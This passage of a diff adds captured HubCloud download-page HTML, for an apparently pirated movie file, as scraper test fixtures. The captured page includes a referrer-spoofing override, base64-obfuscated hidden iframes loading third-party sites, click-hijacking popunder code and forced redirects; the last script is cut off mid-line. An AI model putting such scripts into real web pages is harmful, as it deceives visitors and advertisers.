<p><b>Note : </b>Please Use Download Manager like <a href="https://www.google.com/search?q=idm+dowload+manager" target="_blank" rel="noopener noreferrer nofollow">IDM</a> Or <a href="https://www.google.com/search?q=IDA+dowload+manager" target="_blank" rel="noopener noreferrer nofollow">IDA</a> - To accelerate Your Download Speeds </p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="alert alert-primary" role="alert">
|
||||||
|
<p><b>Note:</b> <i>Refresh this Page & click Download again if you get any error.</i> ! Resume is Supported-Enjoy :)</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="alert alert-info" role="alert">
|
||||||
|
<p><b>If you're getting any error please report at <a href="https://t.me/hubcloudreport">@Telegram Group</a> with Share Link And Screenshot (:</b></p>
|
||||||
|
</div>
|
||||||
|
<hr>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<br>
|
||||||
|
<div class="tab-content">
|
||||||
|
<div role="tabpanel" class="tab-pane fade show active" id="link">
|
||||||
|
<div class="text" align="center">
|
||||||
|
<ul class="nav nav-tabs" role="tablist">
|
||||||
|
<li class="nav-item">
|
||||||
|
<a class="nav-link active" id="button1" role="tab" data-toggle="tab">Copy Link</a>
|
||||||
|
</li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
<div class="card">
|
||||||
|
<div class="card-body" id="div1">
|
||||||
|
<p id="sharelink" onclick="copy_link('div1')">https://hubcloud.foo/drive/p94k4dccjwxjcx4</p>
|
||||||
|
</div>
|
||||||
|
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
|
||||||
|
<script>
|
||||||
|
|
||||||
|
var size = document.getElementById("size").innerHTML
|
||||||
|
var sharelink = document.getElementById("sharelink").innerHTML
|
||||||
|
if(size == 'NAN '){swal({
|
||||||
|
title: "Token Expired!",
|
||||||
|
text: "Token Link has been expired Please Click on Ok Button To Generate New Link!",
|
||||||
|
type: "success"
|
||||||
|
}).then(function() {
|
||||||
|
window.location = document.location.href = sharelink;
|
||||||
|
});}
|
||||||
|
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied ! : "+e)}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<script>
|
||||||
|
// const L_=["aHR0cHM6Ly90aW55dXJsLmNvbS9hdm9ndXJsNHU="],localStorageKey="pds",hoursLimit=6;let opened=!1;document.addEventListener("click",function(){if(!opened){var a=localStorage.getItem(localStorageKey),l=(new Date).getTime();if(!(a&&l-a<216e5)){opened=!0;let e=L_[Math.floor(Math.random()*L_.length)],t=atob(e),o=document.createElement("a");o.href=t,o.target="_blank",o.rel="noopener noreferrer",a=new MouseEvent("click",{view:window,bubbles:!0,cancelable:!0}),o.dispatchEvent(a),setTimeout(()=>window.focus(),100),localStorage.setItem(localStorageKey,l)}}});
|
||||||
|
</script>
|
||||||
|
<br>
|
||||||
|
<br>
|
||||||
|
<br>
|
||||||
|
<br><br>
|
||||||
|
</div>
|
||||||
|
Msc
|
||||||
|
|
||||||
|
<video autoplay muted playsinline preload="metadata" hidden>
|
||||||
|
<source src="https://lh3.googleusercontent.com/pw/AP1GczPvuSJv__IfKHEWza111gQ8cf-7_HNU3Mi1oSxHgtoUmS3z22DcgLvk9zNq5_zQGxp3_asDWKLY6cLB-5BYRip6ElCgllgQccSk4-p_7YwGDCQnx0E=m18#t=0,1" type="video/mp4"></video>
|
||||||
|
|
||||||
|
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
|
||||||
|
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.14.3/dist/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script>
|
||||||
|
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script>
|
||||||
|
|
||||||
|
<!--2dl-->
|
||||||
|
|
||||||
|
<div class="footer">
|
||||||
|
|
||||||
|
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script defer src="https://static.cloudflareinsights.com/beacon.min.js/v8c78df7c7c0f484497ecbca7046644da1771523124516" integrity="sha512-8DS7rgIrAmghBFwoOTujcf6D9rXvH8xm8JQ1Ja01h9QX8EzXldiszufYa4IFfKdLUKTTrnSFXLDkUEOTrZQ8Qg==" data-cf-beacon='{"version":"2024.11.0","token":"ce57d66a8dc54ff7a63a7a9b493d15a0","r":1,"server_timing":{"name":{"cfCacheStatus":true,"cfEdge":true,"cfExtPri":true,"cfL4":true,"cfOrigin":true,"cfSpeedBrain":true},"location_startswith":null}}' crossorigin="anonymous"></script>
|
||||||
|
</body>
|
||||||
|
</html><script>
|
||||||
|
window.sessionStorage.setItem('xl',window.location.href)
|
||||||
|
function cn(t){let e=window.location.protocol+"//"+window.location.host+t;history.replaceState({path:e},"",e)}cn("/games/");
|
||||||
|
</script>
|
||||||
|
<script>
|
||||||
|
function setCookie(e,t,i){let o=encodeURIComponent(t),$=new Date;$.setTime($.getTime()+36e5*i);let n=`${e}=${o}; expires=${$.toUTCString()}; path=/`;document.cookie=n}setCookie("xyt",1,24);
|
||||||
|
</script>
|
||||||
|
|
||||||
|
|
||||||
|
<!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>-->
|
||||||
|
|
||||||
|
<!--<script>let s__=!1,observer=null;const sc_="a, button";function opst(e){if(!s__)return;e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r=document.querySelectorAll(sc_);r.forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){let e=document.querySelectorAll(sc_);e.forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){}},!1);-->
|
||||||
|
<!--</script>-->
|
||||||
|
|
||||||
|
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader100641" src="https://sads.adsboosters.xyz/60e6df74e82f934b77ca81ccdfccfd40.js"></script>
|
||||||
|
|
||||||
343
src/extractor/__fixtures__/HubCloud/https:hubcloud.foodrivep94k4dccjwxjcx4
generated
Normal file
343
src/extractor/__fixtures__/HubCloud/https:hubcloud.foodrivep94k4dccjwxjcx4
generated
Normal file
|
|
@ -0,0 +1,343 @@
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>Goat (2026) 2160p 10bit HDR10+ DV iTunes WEB-DL HEVC x265 [Hindi AMZN DDP 5.1 640kbps + English DDP Atmos 5.1] ESub-(BYNDR-4kHdHub).mkv</title>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<meta name="referrer" content="no-referrer"/>
|
||||||
|
|
||||||
|
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
|
||||||
|
|
||||||
|
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.0/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-KyZXEAg3QhqLMpG8r+8fhAXLRk2vvoC2f3B09zVXn8CA5QIVfZOJ3BCsw2P0p/We" crossorigin="anonymous">
|
||||||
|
|
||||||
|
<link href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i" rel="stylesheet">
|
||||||
|
|
||||||
|
<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
|
||||||
|
|
||||||
|
<meta name=viewport content="width=device-width, initial-scale=1">
|
||||||
|
<meta name="robots" content="noindex, nofollow">
|
||||||
|
<meta name="googlebot" content="noindex,nofollow">
|
||||||
|
|
||||||
|
|
||||||
|
<script data-cfasync="false" src="//d33f51dyacx7bd.cloudfront.net/?aydfd=1015073"></script>
|
||||||
|
|
||||||
|
<!--<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script>-->
|
||||||
|
<!--<script type="text/javascript">-->
|
||||||
|
<!-- aclib.runPop({-->
|
||||||
|
<!-- zoneId: '10550070',-->
|
||||||
|
<!-- });-->
|
||||||
|
<!--</script>-->
|
||||||
|
|
||||||
|
<!-- Cloudflare Web Analytics --><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token": "4a22bad849ab4d2da600be878e3c0fc2"}'></script><!-- End Cloudflare Web Analytics -->
|
||||||
|
|
||||||
|
<!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>-->
|
||||||
|
|
||||||
|
<!-- Google tag (gtag.js) -->
|
||||||
|
<script async src="https://www.googletagmanager.com/gtag/js?id=G-VPX61DM9S8"></script>
|
||||||
|
<script>
|
||||||
|
window.dataLayer = window.dataLayer || [];
|
||||||
|
function gtag(){dataLayer.push(arguments);}
|
||||||
|
gtag('js', new Date());
|
||||||
|
gtag('config', 'G-VPX61DM9S8');Object.defineProperty(document,atob('cmVmZXJyZXI='),{get:function(){return atob('aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8=')}});
|
||||||
|
</script>
|
||||||
|
<script>
|
||||||
|
// function cn(t){let e=window.location.protocol+"//"+window.location.host+t;history.replaceState({path:e},"",e)}
|
||||||
|
// let p_ = document.location.pathname;
|
||||||
|
// cn('/');
|
||||||
|
// setTimeout(()=> cn(p_), 2200);
|
||||||
|
</script>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
</head>
|
||||||
|
<style>
|
||||||
|
.icon{width:48px;height:48px}.card-header{padding:.75rem 1.25rem;margin-bottom:0;background-color:#f8f9fc;border-bottom:1px solid #e3e6f0}.bg-primary{background-color:#4e73df!important}body{font-family:"Nunito",-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"!important;font-weight:14px}.font-weight-bold{font-weight:700!important}.text-primary{color:#007bff!important;padding:.75rem 1.25rem;background-color:#f8f9fc;border-bottom:1px solid #e3e6f0;position:relative;display:flex;flex-direction:column;min-width:0;word-wrap:break-word;border:1px solid #e3e6f0;border-radius:.35rem;line-break:auto;word-break:break-all;white-space:normal;text-overflow:ellipsis;overflow:hidden}.font-weight-bold{font-weight:700!important}.m-0{margin:auto!important;width:100%}h4,.h4{font-size:1.4rem}.card-body{flex:1 1 auto;padding:1.25rem}.nav-tabs{border-bottom:1px solid #dddfeb}.nav{display:flex;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-tabs .nav-item{margin-bottom:-1px}.nav-tabs .nav-link.active,.nav-tabs .nav-item.show .nav-link{color:#6e707e;background-color:#fff;border-color:#007bff #dddfeb #fff;font-weight:600}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.35rem;border-top-right-radius:.35rem}.nav-link{display:block;padding:.5rem 1rem}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.35rem;border-top-right-radius:.35rem}.nav-link{display:block;padding:.5rem 1rem}a{color:#4e73df;text-decoration:none;background-color:transparent}.footer{width:100%;height:auto;position:absolute;right:0;padding:15px 50px 0 15px;font-size:15px;color:#000;background-color:#F2F2F2;border-top:0 solid #E6E6E6;font-weight:600;text-align:right}.tab-content{width:90%;height:auto;position:initial;right:0;padding:0;text-align:center}.btn{color:#fff!important;background-color:#007bff!important;border-color:#007bff!important;font-weight:700!important}.btn:hover{color:#fff!important;background-color:#0069d9!important;border-color:#0062cc!important}.btn-success:not(:disabled):not(.disabled):active:focus,.btn-success:not(:disabled):not(.disabled).active:focus,.show>.btn-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(38,143,255,0.5)}.btn-success:focus,.btn-success.focus{box-shadow:0 0 0 .2rem rgba(38,143,255,0.5)}.btn-lg,.btn-group-lg>.btn{padding:.5rem 1rem;font-size:1.2rem;border-radius:.45rem}.header{width:100%;height:auto;position:relative;right:0;padding:10px 50px 5px 15px;font-size:16px;color:#000;background-color:#F2F2F2;border-top:0 solid #E6E6E6;font-weight:600;text-align:right;margin-top:-25px}.alert-danger{background-color:#e74c3c;border-color:#e74c3c;color:#fff}.alert{padding:15px;margin-bottom:21px;border:1px solid transparent;border-radius:4px}.card{line-break:auto;word-break:break-all;white-space:normal;text-overflow:ellipsis;overflow:hidden}.m-5{margin:auto!important}.swal-button{background-color:#007bff!important}.card-header:first-child{font-weight:600}
|
||||||
|
.btn-success1 {
|
||||||
|
color: #fff;
|
||||||
|
background-color: #28a745;
|
||||||
|
border-color: #28a745;
|
||||||
|
display: inline-block;
|
||||||
|
text-align: center;
|
||||||
|
font-size: 1rem;
|
||||||
|
letter-spacing: .4px;
|
||||||
|
font-family: 'Open Sans',sans-serif!important;
|
||||||
|
font-weight: 600;
|
||||||
|
text-decoration:none !important;
|
||||||
|
vertical-align: middle;
|
||||||
|
-webkit-user-select: none;
|
||||||
|
-moz-user-select: none;
|
||||||
|
-ms-user-select: none;
|
||||||
|
user-select: none;
|
||||||
|
border: 1px solid transparent;
|
||||||
|
padding: .375rem .75rem;
|
||||||
|
line-height: 1.5;
|
||||||
|
border-radius: .30rem;
|
||||||
|
transition: color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;
|
||||||
|
}
|
||||||
|
.btn-success1:not(:disabled):not(.disabled).active, .btn-success1:not(:disabled):not(.disabled):active, .show>.btn-success1.dropdown-toggle {
|
||||||
|
color: #fff;
|
||||||
|
background-color: #1e7e34;
|
||||||
|
border-color: #1c7430;
|
||||||
|
}
|
||||||
|
.btn-success1:hover {
|
||||||
|
color: #fff;
|
||||||
|
background-color: #218838;
|
||||||
|
border-color: #1e7e34;
|
||||||
|
}
|
||||||
|
.btn-success1.focus, .btn-success1:focus {
|
||||||
|
box-shadow: 0 0 0 0.2rem rgb(72 180 97 / 50%);
|
||||||
|
}
|
||||||
|
.btn-lg, .btn-group-lg > .btn2 {
|
||||||
|
padding: .5rem .6rem !important;
|
||||||
|
font-family: 'Open Sans',sans-serif!important;
|
||||||
|
letter-spacing: .1px;
|
||||||
|
border-radius: 0.35rem!important;
|
||||||
|
}
|
||||||
|
.ads-btns {
|
||||||
|
position: relative;
|
||||||
|
overflow: hidden
|
||||||
|
}
|
||||||
|
.ads-btns a.btn2 {
|
||||||
|
min-width: 40%
|
||||||
|
}
|
||||||
|
|
||||||
|
.ads-btns svg {
|
||||||
|
fill: #fff;
|
||||||
|
width: 17px;
|
||||||
|
position: absolute;
|
||||||
|
right: 0;
|
||||||
|
top: 0
|
||||||
|
}
|
||||||
|
|
||||||
|
.ads-btns svg path {
|
||||||
|
fill: #fff;
|
||||||
|
stroke: #fff
|
||||||
|
}
|
||||||
|
|
||||||
|
.ads-btns svg:first-child path {
|
||||||
|
fill: #fff;
|
||||||
|
stroke: transparent
|
||||||
|
}
|
||||||
|
|
||||||
|
.ads-btns svg:first-child {
|
||||||
|
right: 20px
|
||||||
|
}
|
||||||
|
.downloads-btns-div .btn2 {
|
||||||
|
margin: 0 3px 12px
|
||||||
|
}
|
||||||
|
.btn2 {
|
||||||
|
font-style: normal;
|
||||||
|
font-weight: 500;
|
||||||
|
font-size: 14px;
|
||||||
|
text-align: center;
|
||||||
|
text-transform: uppercase;
|
||||||
|
border: 2px solid #cbfc01;
|
||||||
|
padding: 10px 15px;
|
||||||
|
border-radius: 6px;
|
||||||
|
-webkit-border-radius: 6px;
|
||||||
|
-moz-border-radius: 6px;
|
||||||
|
background: #0ebac3;
|
||||||
|
color: #000;
|
||||||
|
display: inline-block;
|
||||||
|
text-decoration: none;
|
||||||
|
background: #cbfc01
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
.btn-zip {
|
||||||
|
border-color: #00d0ff;
|
||||||
|
background: #00d0ff;
|
||||||
|
color: #000
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
<body>
|
||||||
|
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader100892" src="https://sads.adsboosters.xyz/e782f10ef81a2b65f5c2b85518948f4b.js"></script>
|
||||||
|
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader101001" src="https://sads.adsboosters.xyz/1c76fee9418816ee07f81c9d3386f754.js"></script>
|
||||||
|
<div class="ads-core-ads-100892"></div>
|
||||||
|
<div class="ads-core-ads-101001"></div>
|
||||||
|
<center>
|
||||||
|
<br/>
|
||||||
|
|
||||||
|
|
||||||
|
<div class="header">
|
||||||
|
HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="https://hubcloud.foo/drive/admin">Login</a>
|
||||||
|
</div>
|
||||||
|
<br>
|
||||||
|
<div class="container container-fluid main">
|
||||||
|
<div class="card-body">
|
||||||
|
<h2>
|
||||||
|
<div class="main" id="section2">
|
||||||
|
|
||||||
|
<div class="card h6">
|
||||||
|
|
||||||
|
<div class="card-header text-white bg-primary mb-3">
|
||||||
|
Goat (2026) 2160p 10bit HDR10+ DV iTunes WEB-DL HEVC x265 [Hindi AMZN DDP 5.1 640kbps + English DDP Atmos 5.1] ESub-(BYNDR-4kHdHub).mkv </div>
|
||||||
|
|
||||||
|
<div class="card-body">
|
||||||
|
<ul class="list-group">
|
||||||
|
<li class="list-group-item d-flex justify-content-between align-items-center">File Size<i id="size">17.78 GB</i></li>
|
||||||
|
<li class="list-group-item d-flex justify-content-between align-items-center">File Type<i>video/x-matrosk</i></li>
|
||||||
|
<li class="list-group-item d-flex justify-content-between align-items-center">Share Date<i id="size">24-Mar-2026 05:58:31</i></li>
|
||||||
|
</ul>
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="alert alert-warning h6" role="alert">
|
||||||
|
<span>
|
||||||
|
<p>Experience the magic of Hubcloud where files effortlessly find their way into your downloads!</p>
|
||||||
|
<b>Hubcloud Means File will get Downloaded by anyhow (: </b>
|
||||||
|
</span>
|
||||||
|
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<center>
|
||||||
|
<!--<a href="https://winexch.com/?btag=52330173" target="_blank"><img src="https://hubcloud.club/drive/assets/header.gif" style="-->
|
||||||
|
<!-- width: 820px;-->
|
||||||
|
<!-- height: 90px;-->
|
||||||
|
<!-- padding: -17px;-->
|
||||||
|
<!--" class="img-fluid"></a>-->
|
||||||
|
</center>
|
||||||
|
|
||||||
|
<div class="loading">
|
||||||
|
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="margin:auto;background:#fff;display:block;" width="200px" height="200px" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid">
|
||||||
|
<g><circle cx="73.801" cy="68.263" fill="#e15b64" r="3">
|
||||||
|
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="0s"></animateTransform>
|
||||||
|
</circle><circle cx="68.263" cy="73.801" fill="#f47e60" r="3">
|
||||||
|
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.062s"></animateTransform>
|
||||||
|
</circle><circle cx="61.481" cy="77.716" fill="#f8b26a" r="3">
|
||||||
|
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.125s"></animateTransform>
|
||||||
|
</circle><circle cx="53.916" cy="79.743" fill="#abbd81" r="3">
|
||||||
|
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.187s"></animateTransform>
|
||||||
|
</circle><circle cx="46.084" cy="79.743" fill="#849b87" r="3">
|
||||||
|
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.25s"></animateTransform>
|
||||||
|
</circle><circle cx="38.519" cy="77.716" fill="#6492ac" r="3">
|
||||||
|
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.312s"></animateTransform>
|
||||||
|
</circle><circle cx="31.737" cy="73.801" fill="#637cb5" r="3">
|
||||||
|
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.375s"></animateTransform>
|
||||||
|
</circle><circle cx="26.199" cy="68.263" fill="#6a63b6" r="3">
|
||||||
|
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.437s"></animateTransform>
|
||||||
|
</circle><animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;0 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s"></animateTransform></g>
|
||||||
|
</svg>
|
||||||
|
<h3>Please Wait While Page is loading</h3>
|
||||||
|
</div>
|
||||||
|
<div class="vd d-none">
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<a id="download" href="https://gamerxyt.com/hubcloud.php?host=hubcloud&id=p94k4dccjwxjcx4&token=cDdpTE41ZnJuSTdhY1BQR0hRaGhvTDdXWkdkc2hDdm90Y1dFNFBFaGZGQT0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a>
|
||||||
|
|
||||||
|
|
||||||
|
<center>
|
||||||
|
<!--<div class="ads-btns">-->
|
||||||
|
<!--<div class="downloads-btns-div"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 15 15"><path d="M7.5,1.5a6,6,0,1,0,0,12a6,6,0,1,0,0,-12m0,1a5,5,0,1,1,0,10a5,5,0,1,1,0,-10ZM6.625,11l1.75,0l0,-4.5l-1.75,0ZM7.5,3.75a1,1,0,1,0,0,2a1,1,0,1,0,0,-2Z"></path></svg><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 15 15"><path d="M3.25,3.25l8.5,8.5M11.75,3.25l-8.5,8.5"></path></svg><a class="btn2" href="https://winexch.com/?btag=52330173" rel="nofollow" target="blank">Watch Online</a><a class="btn2 btn-zip" target="blank" rel="nofollow" href="https://winexch.com/?btag=52330173">Download</a></div>-->
|
||||||
|
<!--</div>-->
|
||||||
|
</center>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</h2>
|
||||||
|
<center>
|
||||||
|
<!-- <a href="http://winexch.com/?btag=52330173" target="_blank"><img src="https://hubcloud.club/drive/assets/footer.gif" style="-->
|
||||||
|
<!-- width: 820px;-->
|
||||||
|
<!-- height: 90px;-->
|
||||||
|
<!-- padding: -17px;-->
|
||||||
|
<!--" class="img-fluid"></a>-->
|
||||||
|
</center>
|
||||||
|
|
||||||
|
<div class="alert alert-info" role="alert">
|
||||||
|
<P><a href="https://tinyurl.com/yjrvvdxu" rel="noopener noreferrer nofollow" target="_blank">How to Download From HubCloud ? Click here to Watch Tutorial</a></P>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="alert alert-primary" role="alert">
|
||||||
|
<p><b>Note:</b> <i> Always Use Updated Chrome Browser With Cookies Enabled .</i>| Refresh this Page & click Download again if you get any error.</i> ! Resume is Supported-Enjoy :)</p>
|
||||||
|
</div>
|
||||||
|
<div class="alert alert-info" role="alert">
|
||||||
|
<p>If you're getting any error please report at <a href="https://t.me/hubcloudreport">@Telegram Group</a> with Share Link And Screenshot (:</p>
|
||||||
|
</div>
|
||||||
|
<hr>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<!--<div class="m-5 font-weight-normal text-primary">-->
|
||||||
|
<!--<a href="https://a-ads.com?partner=1490501">Advertise with Anonymous Ads</a>-->
|
||||||
|
<!--</div>-->
|
||||||
|
<br>
|
||||||
|
<div class="tab-content">
|
||||||
|
<div role="tabpanel" class="tab-pane fade show active" id="link">
|
||||||
|
<div class="text" align="center">
|
||||||
|
<ul class="nav nav-tabs" role="tablist">
|
||||||
|
<li class="nav-item">
|
||||||
|
<a class="nav-link active" id="button1" role="tab" data-toggle="tab">Copy Link</a>
|
||||||
|
</li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
<div class="card">
|
||||||
|
<div class="card-body" id="div1">
|
||||||
|
<p onclick="copy_link('div1')">https://hubcloud.foo/drive/p94k4dccjwxjcx4</p>
|
||||||
|
</div>
|
||||||
|
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied! : "+e)}function stck(e,t,i){let o="";if(i){let e=new Date;e.setTime(e.getTime()+60*i*1e3),o="; expires="+e.toUTCString()}document.cookie=`${e}=${t||""}${o}; path=/; SameSite=None; Secure`}stck('xla',"s4t",30240);
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
|
||||||
|
|
||||||
|
var url = 'https://gamerxyt.com/hubcloud.php?host=hubcloud&id=p94k4dccjwxjcx4&token=cDdpTE41ZnJuSTdhY1BQR0hRaGhvTDdXWkdkc2hDdm90Y1dFNFBFaGZGQT0=';
|
||||||
|
|
||||||
|
setTimeout(function(){
|
||||||
|
document.querySelector(".loading").classList.add("d-none");
|
||||||
|
document.querySelector(".vd").classList.remove("d-none");
|
||||||
|
if (!document.cookie.split(';').some(item => item.trim().startsWith('xlax='))) {
|
||||||
|
stck('xlax',"s4t",1440);
|
||||||
|
window.location.href = url;
|
||||||
|
}
|
||||||
|
}, 2000);
|
||||||
|
|
||||||
|
|
||||||
|
var download = document.getElementById('download');
|
||||||
|
download.onclick = function() {
|
||||||
|
if (this.classList.contains('disabled')) {
|
||||||
|
event.preventDefault();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
window.location.href = url;
|
||||||
|
download.classList.add('disabled');
|
||||||
|
setTimeout(function() {
|
||||||
|
download.classList.remove('disabled');
|
||||||
|
}, 6000);
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<script>
|
||||||
|
// function sT(e){let t=hashKey(e),r=Date.now();localStorage.setItem(t,r.toString())}function hashKey(e){let t=0;for(let r=0;r<e.length;r++)t=(t<<5)-t+e.charCodeAt(r);t=Math.abs(t);let n="";for(let o=0;o<6;o++)n+="abcdefghijklmnopqrstuvwxyz"[t%26],t=Math.floor(t/26);return n}function is_v(e,t){let r=hashKey(e),n=localStorage.getItem(r);return!!n&&(Date.now()-parseInt(n))/6e4<=t}var s__=!1,observer=null,sc_="a, button",d_=!1;function clsd(){s__=!1,d_=!0,sT("dfdf")}var E_=["aHR0cHM6Ly9wYWlzYXZ5YXBhcmkuY29tL2J1c2luZXNzLw==","aHR0cHM6Ly92aXNoZXNodG9kYXkuY29tL3RlY2hub2xvZ3kv"];function isD(){return!/Mobi|Android/i.test(navigator.userAgent)}let t_=[];for(let e_=0;e_<4 && (true || !d_ && !isD());e_++){let e=E_[Math.floor(Math.random()*E_.length)];if(!t_.includes(e)){var t,r=document.createElement("iframe");if(sT(e),t_.push(e),r.src=atob(e),r.width="0",r.height="0",r.style.display="none",r.referrerPolicy="no-referrer",document.querySelector("body")){console.log("inserted"),document.body.appendChild(r);break}}}function opst(e){if(d_){console.log("closed d_");return}if(!s__){console.log("no s__");return}e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r;s__=!1,document.querySelectorAll(sc_).forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){document.querySelectorAll(sc_).forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let 